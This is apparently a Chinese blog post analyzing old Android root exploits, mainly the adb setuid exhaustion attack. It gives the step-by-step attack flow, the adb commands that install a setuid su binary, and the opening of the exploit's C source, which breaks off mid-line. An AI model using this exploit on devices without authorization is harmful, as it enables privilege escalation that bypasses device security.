Android中可以获取root权限的两种漏洞分析

Android获取root的漏洞有两个——udev 漏洞和adb setuid exhaustion 攻击,我将分别作出介绍。并且依据udev漏洞制作了破解手机root权限的简单软件。

adb setuid exhaustion 攻击

在介绍这种攻击方法的时候,首先要了解adb的概念,简而言之adb是android sdk里的一个工具, 用这个工具可以直接操作管理android模拟器或者真实的andriod设备(如G1手机). 它的主要功能有:

  * 运行设备的shell(命令行)

  * 管理模拟器或设备的端口映射

  * 计算机和设备之间上传/下载文件

  * 将本地apk软件安装至模拟器或android设备

ADB是一个 客户端-服务器端 程序, 其中客户端是你用来操作的电脑, 服务器端是android设备。

    我们知道Android系统是基于Linux内核的,这个攻击方法正式利用了setuid命令来获取root权限的。当手机连接电脑的时候,手机就会创建一个adb进程,来管理电脑客户端,通过对android源码的研究发现这个adb进程刚刚建立的时候是具有root权限的,当进程启动之后,adb会调用setuid命令来将自己权限变成普通的进程,但是源码中并没有对这一指令是否执行成功做出判断,这个漏洞可以让我们能通过某种手段来阻止setuid命令顺利进行从而获取root权限。

       adb setuid exhaustion 攻击流程如下:

1. 首先漏洞代码会检查NPROC setting,也就是系统允许的用户进程的上限,

2. 代码会找到当前adb守护进程的pid号。

3.然后漏洞程序不断制造僵尸子进程,直到系统允许的最大值。

4.这时候漏洞程序会杀掉当前adb进程,并在产出出新的adb进程之前产生出一个新的子进程,保证用户进程数目在系统的上限。

5.当新的adb进程产生之后,它允许在root的状态,adb完成初始化操作之后会检查自己应该继续保持root权限还是要将自己的权限降为普通用户,这时候普通用户的进程数目还是最大值,所以当adb进程调用setuid试图降级自己的权限的时候并不能成功,adb进程还是以root权限允许,但是adb并没有检查setuid命令是否执行成功,这时候我们就获取了root权限。

6.在adb中执行adb push su /system/bin/su和adb shell "chmod 4755 /system/bin/su”这样用户程序可以随时通过su命令获取root权限了。

漏洞攻击文件源码分析如下:

int main(int argc, char **argv)

{

    pid_t adb_pid = 0, p;

    int pids = 0, new_pids = 1;

    int pepe[2];

    char c = 0;

    struct rlimit rl;

 

    printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");

    printf("[*] checking NPROC limit ...\n");

//得到用户最多能创建的用户进程数目

    if (getrlimit(RLIMIT_NPROC, &rl) < 0)

        die("[-] getrlimit");

 

    if (rl.rlim_cur == RLIM_INFINITY) {

        printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");

        exit(1);

    }

 

    printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);

    printf("[*] Searching for adb ...\n");

//找到adb进程的pid编号

    adb_pid = find_adb();

 

    if (!adb_pid)

        die("[-] Cannot find adb");

 

    printf("[+] Found adb as PID %d\n", adb_pid);

    printf("[*] Spawning children. Dont type an

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值